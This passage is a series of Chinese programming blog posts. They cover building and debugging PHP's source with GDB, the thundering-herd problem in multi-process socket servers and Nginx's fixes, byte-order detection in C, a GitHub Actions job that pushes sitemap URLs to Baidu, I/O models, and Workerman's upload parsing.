file(GLOB_RECURSE HEAD_FILES FOLLOW_SYMLINKS ${PHP_SOURCE}/sapi)
file(GLOB_RECURSE HEAD_FILES FOLLOW_SYMLINKS ${PHP_SOURCE}/pear)
file(GLOB_RECURSE HEAD_FILES FOLLOW_SYMLINKS ${PHP_SOURCE}/TSRM)
file(GLOB_RECURSE SRC_LIST FOLLOW_SYMLINKS
${PHP_SOURCE}/*.c
${PHP_SOURCE}/ext/*.c
${PHP_SOURCE}/main/*.c
${PHP_SOURCE}/Zend/*.c
${PHP_SOURCE}/sapi/*.c
${PHP_SOURCE}/pear/*.c
${PHP_SOURCE}/TSRM/*.c
)
include_directories(${PHP_SOURCE})
include_directories(${PHP_SOURCE}/ext)
include_directories(${PHP_SOURCE}/main)
include_directories(${PHP_SOURCE}/Zend)
include_directories(${PHP_SOURCE}/sapi)
include_directories(${PHP_SOURCE}/pear)
include_directories(${PHP_SOURCE}/TSRM)
add_executable(${PROJECT_NAME} ${SRC_LIST})
add_custom_target(makefile COMMAND make && make install WORKING_DIRECTORY ${PROJECT_SOURCE_DIR})
注意:/home/ubuntu/php-7.1.0 要替换成你自己的 PHP 所在的路径。
点击右上角绿色锤子旁边的下拉框 => Edit Configurations => makefile,按照下面的步骤进行操作:
... 按钮,选择 php-7.1.0/bin/php 文件点击右上角绿色的小虫子或者使用快捷键 Shift + F9 开始调试
用来测试的 index.php :
<?php
$a = 'hello';
var_dump($a);
开始 GDB 调试:
gdb /php-7.1.0/build/bin/php
使用 b 命令在 var_dump 处打断点:
(gdb) b zif_var_dump
Breakpoint 1 at 0x48f3bc: file /home/ubuntu/php-7.1.0/ext/standard/var.c, line 200.
为啥这里是 zif_var_dump?
因为 zif_var_dump 是 var_dump 函数的底层实现, 是由 PHP_FUNCITON(var_dump) 宏展开后的名称,所以直接搜 zif_var_dump 是搜不到的。
#define ZEND_FN(name) zif_##name
#define ZEND_NAMED_FUNCTION(name) void name(INTERNAL_FUNCTION_PARAMETERS)
#define ZEND_FUNCTION(name) ZEND_NAMED_FUNCTION(ZEND_FN(name))
/* PHP-named Zend macro wrappers */
#define PHP_FUNCTION ZEND_FUNCTION
PHP_FUNCTION(var_dump)
{
zval *args;
int argc;
int i;
if (zend_parse_parameters(ZEND_NUM_ARGS(), "+", &args, &argc) == FAILURE) {
return;
}
for (i = 0; i < argc; i++) {
php_var_dump(&args[i], 1);
}
}
开始运行 PHP 文件:
(gdb) r index.php
Starting program: /home/ubuntu/php-7.1.0/build/bin/php index.php
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Breakpoint 1, zif_var_dump (execute_data=0x7ffffb6130d0, return_value=0x7ffffffea400)
at /home/ubuntu/php-7.1.0/ext/standard/var.c:200
200 {
代码执行到 zif_var_dump 就停止了,说明命中了断点。我们可以使用 l 命令查看附近的源码:
(gdb) l
195 /* }}} */
196
197 /* {{{ proto void var_dump(mixed var)
198 Dumps a string representation of variable to output */
199 PHP_FUNCTION(var_dump)
200 {
201 zval *args;
202 int argc;
203 int i;
204
使用 bt 命令查看调用栈:
(gdb) bt
#0 zif_var_dump (execute_data=0x7ffffb6130d0, return_value=0x7ffffffea400)
at /home/ubuntu/php-7.1.0/ext/standard/var.c:200
#1 0x0000000008642151 in ZEND_DO_ICALL_SPEC_RETVAL_UNUSED_HANDLER ()
at /home/ubuntu/php-7.1.0/Zend/zend_vm_execute.h:628
#2 0x000000000864038e in execute_ex (ex=0x7ffffb613030) at /home/ubuntu/php-7.1.0/Zend/zend_vm_execute.h:429
#3 0x0000000008640d05 in zend_execute (op_array=0x7ffffb67e000, return_value=0x0)
at /home/ubuntu/php-7.1.0/Zend/zend_vm_execute.h:474
#4 0x00000000085a2ca6 in zend_execute_scripts (type=8, retval=0x0, file_count=3)
at /home/ubuntu/php-7.1.0/Zend/zend.c:1474
#5 0x00000000084eb1ce in php_execute_script (primary_file=0x7ffffffecd00) at /home/ubuntu/php-7.1.0/main/main.c:2533
#6 0x0000000008743462 in do_cli (argc=2, argv=0x90c1ef0) at /home/ubuntu/php-7.1.0/sapi/cli/php_cli.c:990
#7 0x000000000874483e in main (argc=2, argv=0x90c1ef0) at /home/ubuntu/php-7.1.0/sapi/cli/php_cli.c:1378
使用 u 命令让代码运行到指定的行:
(gdb) u 209
zif_var_dump (execute_data=0x7ffffb6130d0, return_value=0x7ffffffea400)
at /home/ubuntu/php-7.1.0/ext/standard/var.c:209
209 for (i = 0; i < argc; i++) {
使用 p 命令打印变量 $a 的值:
(gdb) p args[0].value.str.val
$1 = "h"
使用 @ 指定输出长度:
(gdb) p args[0].value.str.val@5
$2 = {"h", "e", "l", "l", "o"}
我们知道,像 Nginx、Workerman 都是单 Master 多 Worker 的进程模型。
Master 进程用于创建监听套接字、创建 Worker 进程及管理 Worker 进程。
Worker 进程是由 Master 进程通过 fork 系统调用派生出来的,所以会自动继承 Master 进程的监听套接字,每个 Worker 进程都可以独立地接收并处理来自客户端的连接。
由于多个 Worker 进程都在等待同一个套接字上的事件,就会出现标题所说的惊群问题。

惊群问题又称惊群效应,当多个进程等待同一个事件,事件发生后内核会唤醒所有等待中的进程,但是只有一个进程能够获得 CPU 执行权对事件进行处理,其他的进程都是被无效唤醒的,随后会再次陷入阻塞状态,等待下一次事件发生时被唤醒。
举个例子,你们寝室几个人都在一边睡觉一边等外卖,外卖到了的时候,快递小哥嗷一嗓子把你们几个人都叫醒了,但是他只送了一个人的外卖,其它人骂骂咧咧的又躺下了,下次外卖来的时候,又会把这几个人都吵醒。
这里的室友表示进程,外卖小哥表示操作系统,外卖就是等待的事件。
由于每次事件发生会唤醒所有进程,所以操作系统会对多个进程频繁地做无效的调度,让 CPU 大部分时间都浪费在了上下文切换上面,而不是让真正需要工作的进程运行,导致系统性能大打折扣。
通过上面的介绍可以知道,惊群问题主要发生在 socket_accept 和 socket_select 两个函数的调用上。
下面我们通过两个例子复现这两个系统调用的惊群。
PHP 中的 socket_accept 函数是 accept 系统调用的一层包装。函数原型如下:
socket_accept(Socket $socket): Socket|false
该函数接收监听套接字上的新连接,一旦接收成功,就会返回一个新的套接字(连接套接字)用于与客户端进行通信。如果没有待处理的连接,socket_accept 函数将阻塞,直到有新的连接出现。
// 创建 TCP 套接字
$server_socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
// 将套接字绑定到指定的主机地址和端口上
socket_bind($server_socket, "0.0.0.0", 8080);
// 设置为监听套接字
socket_listen($server_socket);
printf("master[%d] running\n", posix_getpid());
for ($i = 0; $i < 5; $i++) {
$pid = pcntl_fork();
if ($pid < 0) {
exit('fork 失败');
} else if ($pid == 0) {
// 这里是子进程
$pid = posix_getpid();
printf("worker[%d] running\n", $pid);
// while true 是为了处理完一个连接之后,可以继续处理下一个连接
while (true) {
// 由于我们刚刚创建的 $server 是阻塞 IO,
// 所以代码运行到这的时候会阻塞住,会将 CPU 让出去,
// 直到有客户端来连接
$conn_socket = socket_accept($server_socket);
if (!$conn_socket) {
printf("worker[%d] 接收新连接失败,原因:%s\n", $pid, socket_last_error($conn_socket));
continue;
}
// 获取客户端地址及端口号
socket_getpeername($conn_socket, $address, $port);
printf("worker[%d] 接收新连接成功:%s:%d\n", $pid, $address, $port);
// 关闭客户端连接
socket_close($conn_socket);
}
}
// 这里是父进程
}
// 父进程等待子进程退出,回收资源
while (true) {
// 为待处理的信号调用信号处理程序。
\pcntl_signal_dispatch();
// 暂停当前进程的执行,直到一个子进程退出,或者直到一个信号被传递。
$pid = \pcntl_wait($status, WUNTRACED);
// 再次调用待处理信号的信号处理程序。
\pcntl_signal_dispatch();
if ($pid > 0) {
printf("worker[%d] 退出\n", $pid);
}
}
上面的代码先创建了一个监听套接字 $server_socket,然后通过 pcntl_fork 函数派生出 5 个子进程。 在调用完 pcntl_fork 函数后,如果派生子进程成功,那么该函数会有两个返回值,在父进程中返回子进程的进程 ID,在子进程中返回 0;派生失败则返回 -1。
将上面的代码保存为 accept.php,然后在 CLI 中执行 php accept.php 启动服务端程序,可以看到 1 个 master 进程和 5 个 worker 进程都已经处于运行状态:

执行 pstree -acp pid 查看一下进程树:

进程树的结构与我们服务启动的日志是一致的。
接下来我们执行 telnet 0.0.0.0 8080 命令连接到服务端程序上,accept.php 输出:

咦,怎么回事,跟一开始说的不一样啊,这明明只有一个进程被唤醒然后处理了新连接!
莫慌,这是在预料之中的,因为在 Linux 2.6 后的版本中,Linux 已经修复了 accept 的惊群问题。
演示这一步主要是为后面的内容做铺垫。
跟 socket_accept 函数一样,socket_select 函数也是 select 系统调用的一层包装。
select 是最早的一种多路复用实现方式,性能相对于后面出现的 poll、epoll 要差很多,那么为什么这里要用 select 来做演示呢?
一是因为支持 select 的操作系统比较多,连 Windows 和 MacOS 也都支持 select 系统调用。 二是截止目前 Linux 内核版本 4.4.0 依然没有解决 select 的惊群问题。
socket_select 接受套接字数组并阻塞等待它们有事件发生。函数原型如下:
socket_select(
array|null &$read,
array|null &$write,
array|null &$except,
int|null $seconds,
int $microseconds = 0
): int|false
当在函数超时前有事件发生时,返回值为发生事件的套接字数量,如果是函数超时,返回值为 0 ,有错误发生时返回 false。
socket_select 函数的示例程序与上面 socket_accept 函数的差不多,只不过需要将监听套接字设置为非阻塞,然后在 socket_accept 函数之前调用 socket_select 进行阻塞等待事件。
// 创建 TCP 套接字
$server_socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
// 将套接字绑定到指定的主机地址和端口上
socket_bind($server_socket, "0.0.0.0", 8080);
// 设置为监听套接字
socket_listen($server_socket);
// 设置为非阻塞
socket_set_nonblock($server_socket);
printf("master[%d] running\n", posix_getpid());
for ($i = 0; $i < 5; $i++) {
$pid = pcntl_fork();
if ($pid < 0) {
exit('fork 失败');
} else if ($pid == 0) {
// 这里是子进程
$pid = posix_getpid();
printf("worker[%d] running\n", $pid);
// while true 是为了处理完一个连接之后,可以继续处理下一个连接
while (true) {
// 将监听套接字放入可读事件的套接字数组中,
// 表示我们需要等待监听套接字上的可读事件,
// 监听套接字发生可读事件说明有客户端连接上来了。
$reads = [$server_socket];
// 可写事件和异常事件我们不关心,设置为空数组即可。
$writes = $excepts = [];
// 超时时间设置为 NULL,表示一直阻塞等待,直到有事件发生。
$num = socket_select($reads, $writes, $excepts, NULL);
printf("worker[%d] wakeup,num:%d\n", $pid, $num);
$conn_socket = socket_accept($server_socket);
if (!$conn_socket) {
printf("worker[%d] 接收新连接失败\n", $pid);
continue;
}
// 获取客户端地址及端口号
socket_getpeername($conn_socket, $address, $port);
printf("worker[%d] 接收新连接成功:%s:%d\n", $pid, $address, $port);
// 关闭客户端连接
socket_close($conn_socket);
}
}
// 这里是父进程
}
// 父进程等待子进程退出,回收资源
while (true) {
// 为待处理的信号调用信号处理程序。
\pcntl_signal_dispatch();
// 暂停当前进程的执行,直到一个子进程退出,或者直到一个信号被传递。
$pid = \pcntl_wait($status, WUNTRACED);
// 再次调用待处理信号的信号处理程序。
\pcntl_signal_dispatch();
if ($pid > 0) {
printf("worker[%d] 退出\n", $pid);
}
}
我们将上述代码保存为 select.php 并执行 php select.php 启动服务,然后使用 telnet 127.0.0.1 8080 连接上去就会发现 5 个子进程都输出了 wakeup,但是只有一个进程 accept 成功了。

因为惊群问题主要是出在系统调用上,但是内核系统更新肯定没那么及时,而且不能保证所有操作系统都会修复这个问题。
所以解决方案可以分为两类:用户程序层面和内核程序层面,用户程序层面就是通过加锁解决问题,内核程序层面就是让内核程序提供一些机制,一劳永逸地解决这个问题。
通过上面我们可以知道,惊群问题发生的前提是多个进程监听同一个套接字上的事件,所以我们只让一个进程去处理监听套接字就可以了。
Nginx 采用了自己实现的 accept 加锁机制,避免多个进程同时调用 accept。Nginx 多进程的锁在底层默认是通过 CPU 自旋锁实现的,如果操作系统不支持,就会采用文件锁。
Nginx 事件处理的入口函数使 ngx_process_events_and_timers(),下面是简化后的加锁过程:
// 是否开启 accept 锁,
// 开启则需要抢锁,以防惊群,默认是关闭的。
if (ngx_use_accept_mutex) {
if (ngx_accept_disabled > 0) {
// ngx_accept_disabled 的值是经过算法计算出来的,
// 当值大于 0 时,说明此进程负载过高,不再接收新连接。
ngx_accept_disabled--;
} else {
// 尝试抢 accept 锁,发生错误直接返回
if (ngx_trylock_accept_mutex(cycle) == NGX_ERROR) {
return;
}
if (ngx_accept_mutex_held) {
// 抢到锁,设置事件处理标识,后续事件先暂存队列中。
flags |= NGX_POST_EVENTS;
} else {
// 未抢到锁,修改阻塞等待时间,使得下一次抢锁不会等待太久
if (timer == NGX_TIMER_INFINITE
|| timer > ngx_accept_mutex_delay)
{
timer = ngx_accept_mutex_delay;
}
}
}
}
在 ngx_trylock_accept_mutex 函数中,如果抢到了锁,Nginx 会把监听套接字的可读事件放入事件循环中,该进程有新连接进来的时候就可以 accept 了。
在高本版的 Nginx 中 accept 锁默认是关闭的,如果开启了 accept 锁,那么在多个 worker 进程并行的情况下,对于 accept 函数的调用是串行的,效率不高。
所以最好的方式还是让内核程序解决惊群的问题,从问题的根源上去解决。
Linux 内核 3.9 及后续版本提供了新的套接字参数 SO_REUSEPORT,该参数允许多个进程绑定到同一个套接字上,内核在收到新的连接时,只会唤醒其中一个进程进行处理,内核中也会做负载均衡,避免某个进程负载过高。
对于 epoll 多路复用机制,Linux 内核 4.5+ 新增 EPOLLEXCLUSIVE 标志,这个标志会保证一个事件只会有一个阻塞在 epoll_wait 函数的进程被唤醒,避免了惊群问题。
在 Nginx 的 ngx_event_process_init 函数中,可以看到 Nginx 是如何使用 SO_REUSEPORT 和 EPOLLEXCLUSIVE 的。
// Nginx 支持端口复用
#if (NGX_HAVE_REUSEPORT)
// 配置 listen 80 resuseport 时,支持多进程共用一个端口,
// 此时可直接把监听套接字加入事件循环中,并监听可读事件。
if (ls[i].reuseport) {
if (ngx_add_event(rev, NGX_READ_EVENT, 0) == NGX_ERROR) {
return NGX_ERROR;
}
continue;
}
#endif
// 打开 accept_mutex 锁之后,
// 每个 worker 进程不能直接处理监听套接字,
// 需要在 worker 进程抢到锁之后才能将监听套接字放入自己的事件循环中。
if (ngx_use_accept_mutex) {
continue;
}
// Nginx 支持 EPOLLEXCLUSIVE 标志
#if (NGX_HAVE_EPOLLEXCLUSIVE)
// 如果 nginx 使用的是 epoll 多路复用机制,并且 worker 进程大于 1,
// 那么就将监听套接字加入自己的事件循环中,并且设置 EPOLLEXCLUSIVE 标志。
if ((ngx_event_flags & NGX_USE_EPOLL_EVENT)
&& ccf->worker_processes > 1)
{
if (ngx_add_event(rev, NGX_READ_EVENT, NGX_EXCLUSIVE_EVENT)
== NGX_ERROR)
{
return NGX_ERROR;
}
continue;
}
#endif
// 未开启 accept_mutex 锁,未启动 resuseport 端口复用,不支持 EPOLLEXCLUSIVE 标志,
// 此后监听套接字发生事件时会引发惊群问题。
if (ngx_add_event(rev, NGX_READ_EVENT, 0) == NGX_ERROR) {
return NGX_ERROR;
}
通过本文我们了解到什么是惊群问题,以及对应的解决方式。在编写类似的多进程的应用时就可以避免这个问题,从而提高应用的性能。
]]>大端模式(Big-Endian)又称大端字节序,由于在网络传输中一般使用的是大端模式,所以也叫网络字节序。
在大端模式中,将高位字节放在低位地址,低位字节放在高位地址。
举个例子,数值 0x12345678,其中 0x12 这一端是高位字节,0x78 这一端是低位字节。
该数值的存储顺序是这样的:

大端模式符合我们阅读和书写的方式,都是从左到右的。比如 12345678,我们只需要按照从左到右的顺序进行阅读和书写就是大端模式的存储顺序了。
小端模式(Little-Endian)又称小端字节序,由于大多数计算机内部处理使用的是小端模式,所以也叫主机序。
在小端模式中,将高位字节放在高位地址,低位字节放在低位地址。

小端模式比较符合我们人类的思维模式,大的放大的那一边,小的放小的那一边。但是在计算机中存储的顺序与我们看到的顺序是相反的。
对于早期的计算机来说,先处理低位字节效率比较高,因为计算都是从低位开始的,所以大多数计算机内部处理使用的是小端模式。但是计算机发展到现在,计算机的处理器相较于以前已经进步很多了,先处理高位还是低位字节的影响已经可以忽略,但是为了向后兼容,保留了大/小端模式。
大端模式更适合程序员阅读,因为看到的内容与输出的内容是一致的。
定义一个 16 位无符号的整数值,然后判断其低位字节存放的位置。
#include <stdio.h>
int main() {
__uint16_t val = 0x1234;
char a = ((char *) &val)[0]; // 低位地址
char b = ((char *) &val)[1]; // 高位地址
printf("a = %x\n", a);
printf("b = %x\n", b);
if (a == 0x34) {
printf("小端模式\n");
} else {
printf("大端模式\n");
}
return 0;
}
通过 &val 取得 val 的内存地址,然后将其转为 char 类型的指针,再以数组的方式取指针地址上存储的值。
下标 0 可以取到低位地址上的值,下标 1 可以取到高位地址上的值。如果下标 0 取到的是 0x34,说明是小端模式,因为低位字节存储在低位地址上。
我的电脑是小端模式的,最后会输出:
a = 34
b = 12
小端模式
联合体是一种特殊的数据结构,联合体中的成员变量共用同一段内存。
我们定义一个 test 联合体,设置两个成员变量 a 和 b。
#include <stdio.h>
int main()
{
union test {
__uint32_t a;
char b;
};
union test val;
val.a = 0x12345678;
printf("%x\n", val.b);
if (val.b == 0x78) {
printf("小端模式\n");
} else {
printf("大端模式\n");
}
return 0;
}
如果主机是小端模式,0x12345678 的存储顺序为:

与第一种方法目的相同,都是通过获取低位地址的第一个字节,判断其存储的内容就可以知道主机是大端还是小端模式,不过这里利用了联合体成员变量共用内存的特点,实现方式更加巧妙。
除了上面两种自制的“土方法”,C 语言已经自带了一些宏用来判断主机的字节序。
endian.h 文件:
// 小端模式
# define LITTLE_ENDIAN __LITTLE_ENDIAN
// 大端模式
# define BIG_ENDIAN __BIG_ENDIAN
// 当前主机的字节序
# define BYTE_ORDER __BYTE_ORDER
#include <endian.h>
int main()
{
if (BYTE_ORDER == LITTLE_ENDIAN) {
printf("小端模式\n");
} else {
printf("大端模式\n");
}
return 0;
}
前面我们提到,在主机基本上使用的都是小端模式,但是在网络传输的时候使用的却是大端模式。
如果我们的程序仅仅是一个单机程序,不需要跟其它程序进行数据交互,那么是不需要进行大小端转换的。
如果程序需要与其它程序进行数据交互,那么在发送数据前,就要将数据从小端模式转换为大端模式。在接收到数据后,将数据从大端模式转换为小端模式。
只需要将高位字节与低位字节进行交换,就可以实现大小端的转换。

下面是实现代码:
int main()
{
__uint32_t val = 0x12345678;
unsigned char *x = (unsigned char *) &val, tmp;
// 0x78 与 0x12 进行交换
tmp = x[0];
x[0] = x[3];
x[3] = tmp;
// 0x56 与 0x34 交换
tmp = x[1];
x[1] = x[2];
x[2] = tmp;
// 输出:0x78563412
printf("0x%x\n", val);
return 0;
}
在 C 语言中已经提供了大小端转换宏在 endian.h 头文件中,下面列出部分:
// 转换 16 位整数
htobe16(x)
be16toh(x)
// 转换 32 位整数
htobe32(x)
be32toh(x)
// 转换 64 位整数
htobe64(x)
be64toh(x)
int main()
{
__uint32_t val = 0x12345678;
// 输出:0x78563412
printf("0x%x\n", htobe32(val));
return 0;
}
计算机在处理数据的时候,只会按照顺序去读取字节,不关心数据是大端模式还是小端模式。
程序在读取到数据后,需要判断计算机的大小端模式,来决定是否需要进行大小端转换。
如果读到的第一个字节是高位字节,那么就是大端模式;反之,如果读到的第一个字节是低位字节,那么就是小端模式。
]]>刚学会 PHP 的时候写了一个笑话类型的网站,网站的数据是定时从另外一个网站上采集的。但是网站部署在虚拟主机上,所以用不了 crontab 执行定时任务。
解决办法是使用监控宝,定时请求我网站的一个地址,在这个地址里面编写采集数据的逻辑。到了现在已经有很多解决办法,比如 Workerman/Swoole 的定时器组件、GitHub Actions。
本文就是介绍如何用 GitHub Actions 的定时任务将网址推送到百度站长平台,提高文章被收录的速度。
首先设置工作流触发条件, push 和 schedule 表示推送代码及定时计划都会触发。
name: 'Push Baidu'
on:
push:
branches:
- gh-pages
schedule:
- cron: '*/5 * * * *'
jobs:
start:
runs-on: ubuntu-latest
steps:
# 检查工作流是否可以访问 actions
- name: Checkout Repository master branch
uses: actions/checkout@v1
# 执行仓库中的脚本文件
- name: Execute script
env:
SITEMAP_URL: ${{ secrets.SITEMAP_URL }}
PUSH_URL: ${{ secrets.PUSH_URL }}
run: php ./.github/push.php -s ${SITEMAP_URL} -p ${PUSH_URL}
*/5 * * * * 表示每五分钟执行一次。
runs-on 的意思是指定工作流运行在什么环境上,ubuntu-latest 表示 Ubuntu 最新版。 steps 中第一个步骤是检查工作流是否可以访问 actions,第二个步骤是执行我们的 PHP 脚本,在执行脚本之前,需要将密钥库中的 SITEMAP_URL 和 PUSH_URL 以环境变量的方式传给脚本。
在 https://github.com/用户名/仓库名/settings/secrets/actions 中新增两个配置项:
| Name | Value |
|---|---|
| SITEMAP_URL | 网站的 sitemap 地址, https://yourdomain/baidusitemap.xml |
| PUSH_URL | 百度站长平台的推送地址,可以在 百度站长平台 普通收录 => API提交页面中找到,类似于:http://data.zz.baidu.com/urls?site=https://her-cat.com&token=xxxxx |
将上面的工作流保存到 .github/workflows 目录下,命名为 push.yml。
百度站长平台已经提供了 PHP 推送的例子,我基于这个例子添加了自动获取网址的函数并适配了工作流。
<?php
// 获取 sitemap 地址和推送地址
$opt = getopt('s:p:');
if (empty($opt['s']) || empty($opt['p'])) {
throw new \Exception('关键参数不能为空');
}
// 从 sitemap 中解析出网址列表
function get_site_urls($sitemap_url)
{
$content = file_get_contents($sitemap_url);
if (empty($content)) {
return [];
}
$xml = simplexml_load_string($content);
if (!$xml) {
return [];
}
$urls = [];
foreach ($xml->url as $url) {
$urls[] = (string) $url->loc;
}
return $urls;
}
// 将网址列表推送到百度
function push_to_baidu($push_url, $urls)
{
$ch = curl_init();
$options = [
CURLOPT_URL => $push_url,
CURLOPT_POST => true,
CURLOPT_TIMEOUT => 15,
CURLOPT_RETURNTRANSFER => true,
CURLOPT_CONNECTTIMEOUT => 15,
CURLOPT_POSTFIELDS => implode("\n", $urls),
CURLOPT_HTTPHEADER => ['Content-Type: text/plain'],
];
curl_setopt_array($ch, $options);
return curl_exec($ch);
}
// 获取需要推送的网址列表
$urls = get_site_urls($opt['s']);
if (empty($urls)) {
throw new \Exception('网址列表为空');
}
// 调用推送函数
echo push_to_baidu($opt['p'], $urls).PHP_EOL;
将上面的代码保存到 .github/ 目录下,命名为 push.php。
然后提交代码就可以在 GitHub Actions 中查看工作流的运行状态。
需要注意,如果你的 sitemap 格式和我的不一样,需要修改 get_site_urls 函数解析网址列表的逻辑。
PS:截止到本文发出来,定时计划还是一次都没有运行,我一度以为配置没写对,后来才发现不是到了计划时间就一定会运行!
当定时计划到达执行时间时,会将本次任务放到一个队列里面,每当 GitHub 有可用的机器时才会运行,一般延迟时间约为 3 到 10 分钟。有时可能是更多的时间,甚至几十分钟或一个多小时。但是,如果延迟时间过长,则当天可能不会触发计划的工作流。除了使用外部调度器手动触发工作流之外,没有别的办法。
相关文章:
]]>I/O 是 Input/Output 的简写,即输入/输出,是计算机与外部设备(键盘、鼠标、磁盘等)通信的统称,与具体实现无关。
与外部设备的通信其实就是对外部设备进行读取或写入数据的过程,比如对文件的读写操作可以称为文件 I/O、对套接字的读写操作称为网络 I/O。
同步和异步是相对于获取数据的过程而言的。
在用户进程中执行 read 系统调用时,内核将数据从内核空间拷贝用户进程空间。如果没有读到数据,那么进程会一直处于阻塞状态,当读取到数据时才会恢复进程,继续执行后面的逻辑,所以我们称这个操作是同步的。
异步只需要执行 aio_read 系统调用告诉内核从哪儿读取数据就可以了,进程不用等待立即返回,内核会异步地将数据从内核空间拷贝到用户进程空间。
套接字在创建时默认就是阻塞的。
用户进程执行 read 系统调用,如果数据没有准备好,那么进程将会被挂起,直到数据准备好之后内核将数据拷贝给用户进程。
举一个烧开水的例子,水壶是套接字,水壶里的水是数据,水未烧开说明数据没有准备好。
现在有 A、B、C 三个水壶,进程查询 A 的状态,发现水还没有烧开就一直等着水烧开,哪怕 B、C 的水烧开了也不管,直到 A 的水烧开了才会去处理下一个水壶。
缺点:每次只能对一个套接字进行操作,就算其它套接字数据准备好了也没办法立即处理。
在 PHP 中可以调用 socket_set_nonblock 函数将套接字设置为非阻塞的。
非阻塞 I/O 在数据未准备好的情况下,执行 read 系统调用将会立即返回,应用程序可以使用循环不停地轮训内核,直到数据准备好,内核将数据从拷贝到应用程序中。
伪代码:
while (true) {
rbytes = read(fd);
if (rbytes < 0 && errno == EWOULDBLOCK) {
continue;
}
// 处理数据
}
用烧开水的例子来解释就是,进程不断地轮询每个水壶的状态,当某个水壶的水烧开了之后就执行下一步操作。
缺点:需要不停地轮询内核,浪费系统资源。
多路复用就是多个网络请求复用同一个进程,让单进程的应用程序拥有了同时处理多个套接字的能力,避免不停地轮询内核,造成资源浪费。
将需要监听的套接字交给内核,然后进程被挂起陷入休眠状态,当套接字数据准备好时,内核将对应的套接字及事件返回给进程并唤醒进程,进程就可以执行 read 系统调用读取数据,这个时候数据肯定是准备好的。
目前常见的有三种多路复用机制,分别是 select、poll、epoll。
| 多路复用机制 | 平台支持 | 底层实现 | 时间复杂度 | 最大连接数 | fd 拷贝 |
|---|---|---|---|---|---|
| select | Linux/Windows | 数组 | O(n) | 1024 | 每次调用 select 都需要从用户进程拷贝到内核 |
| poll | Linux | 链表 | O(n) | 无上限 | 每次调用 poll 都需要从用户进程拷贝到内核 |
| epoll | Linux | 红黑树 | O(1) | 无上限 | 调用 epoll_ctl 时需要从用户进程拷贝到内核,epoll_wait 不需要 |
从上表可以看出 epoll 性能最好,所以当程序运行在 Linux 系统上应该使用 epoll,如果是 Windows 可以使用 select,这样我们就可以实现跨平台的多路复用应用程序。
烧开水的例子:将 A、B、C 三个水壶交给内核,当有水烧开时内核就通知进程哪个水壶烧开了。
I/O 多路复用中的套接字必须设置为非阻塞的。
调用 sigaction 安装 SIGIO 信号处理器,为套接字设置宿主进程,当套接字的数据准备好时,操作系统会触发 SIGIO I/O 就绪信号,就会执行安装的信号处理器,在信号处理器中执行 I/O 操作。
进程会安装 SIGIO 信号的处理函数,让内核有数据准备好时就触发 SIGIO 信号,并执行该信号对应的处理函数。
用水壶的例子来解释就是给每个水壶都安装了一个蜂鸣器,当水烧开时就开始响,进程就知道哪个水壶烧开了。
前面这四种 I/O 模型都是同步 I/O,不管是进程是如何知道数据是否准备好的,最终执行 read 系统调用从内核拷贝数据到用户进程的过程是同步的,而异步 I/O 的区别就在于这里。
异步 I/O 的读写操作都是立即返回的,读写操作由内核异步地执行,数据拷贝的过程不会阻塞用户进程。
相当于告诉内核,水烧开了就倒在这个杯子里,我想喝水了就自己去喝。
同步 I/O 和异步 I/O 的区别:内核将数据从内核空间拷贝到用户进程空间时,是否会阻塞用户进程。 阻塞 I/O 和非阻塞 I/O 的区别:数据没有准备好的时候是否会阻塞用户进程。
]]>在 Nginx 中 HTTP 数据是一边接收一边进行解析的,如果解析过程中发现收到的数据有问题就会停止解析,并且停止接收数据。
而 Workerman 将解析协议这一步进行后置,当程序需要用到 HTTP 协议携带的信息时才会解析相应的数据,并把解析结果缓存起来,下次获取信息时就直接从缓存中读取即可,避免多次解析。
两种方式各有自己的优点,前者的优点就是可以及时的检查数据是否有问题,后者的优点是在接收数据的逻辑相对要简单一点。
解析上传文件的逻辑在 Request::parseUploadFiles 方法中,下面是它的调用栈。
// source: Protocols\Http\Request.php
post()/file()
-> parsePost()
-> parseUploadFiles()
当调用 post 或 file 方法获取 POST 参数或上传的文件时,程序会检查是否已经解析过了,如果已经解析过了则直接返回对应的结果,否则就会调用 parsePost 方法解析数据。
protected function parsePost()
{
// rawBody() 返回的就是请求体的内容
$body_buffer = $this->rawBody();
// 初始化用于保存解析数据的缓存
$this->_data['post'] = $this->_data['files'] = array();
if ($body_buffer === '') {
return;
}
// 尝试从缓存中读取
$cacheable = static::$_enableCache && !isset($body_buffer[1024]);
if ($cacheable && isset(static::$_postCache[$body_buffer])) {
$this->_data['post'] = static::$_postCache[$body_buffer];
return;
}
// 读取请求头中的 content-type 字段,如果请求头没有被解析过,那么也会进行解析并缓存
$content_type = $this->header('content-type', '');
// 尝试解析 boundary 字段,如果获取到了说明是 multipart/form-data 类型的,可能会上传文件
if (\preg_match('/boundary="?(\S+)"?/', $content_type, $match)) {
// $match[1] 中就是我们上面说的边界值
// 加上 -- 得到请求体中的边界值
$http_post_boundary = '--' . $match[1];
$this->parseUploadFiles($http_post_boundary);
return;
}
// 如果从 content-type 中匹配到了 json,比如 application/json
// 说明请求体的数据是 JSON 格式的
if (\preg_match('/\bjson\b/i', $content_type)) {
$this->_data['post'] = (array) json_decode($body_buffer, true);
} else {
// 否则就是 application/x-www-form-urlencoded
\parse_str($body_buffer, $this->_data['post']);
}
// 如果开启了缓存,就把解析结果缓存起来
if ($cacheable) {
static::$_postCache[$body_buffer] = $this->_data['post'];
if (\count(static::$_postCache) > 256) {
unset(static::$_postCache[key(static::$_postCache)]);
}
}
}
接下来就是 parseUploadFiles 方法的内容了。
首先处理请求体,删掉末尾的结束边界值,然后通过边界值得到数据块数组。
// 先获取请求体的内容
$http_body = $this->rawBody();
//删除末尾的结束边界值
$http_body = \substr($http_body, 0, \strlen($http_body) - (\strlen($http_post_boundary) + 4))
// 通过边界值 + \r\n 分割请求体,得到数据块数组
$boundary_data_array = \explode($http_post_boundary . "\r\n", $http_body);
if ($boundary_data_array[0] === '') {
unset($boundary_data_array[0]);
};
为什么计算 substr 结束位置最后要 +4 呢?
因为 结束边界值 = 边界值 + -- + \r\n。
接下来用两个 foreach 和一个 switch case 来解析请求体的内容。
通过 \r\n\r\n 分割数据块,得到数据块的头部信息和数据块的值,然后去除数据块的值末尾的 \r\n。
foreach ($boundary_data_array as $boundary_data_buffer) {
list($boundary_header_buffer, $boundary_value) = \explode("\r\n\r\n", $boundary_data_buffer, 2);
// 去除 $boundary_value 末尾的 \r\n
$boundary_value = \substr($boundary_value, 0, -2);
$key++;
}
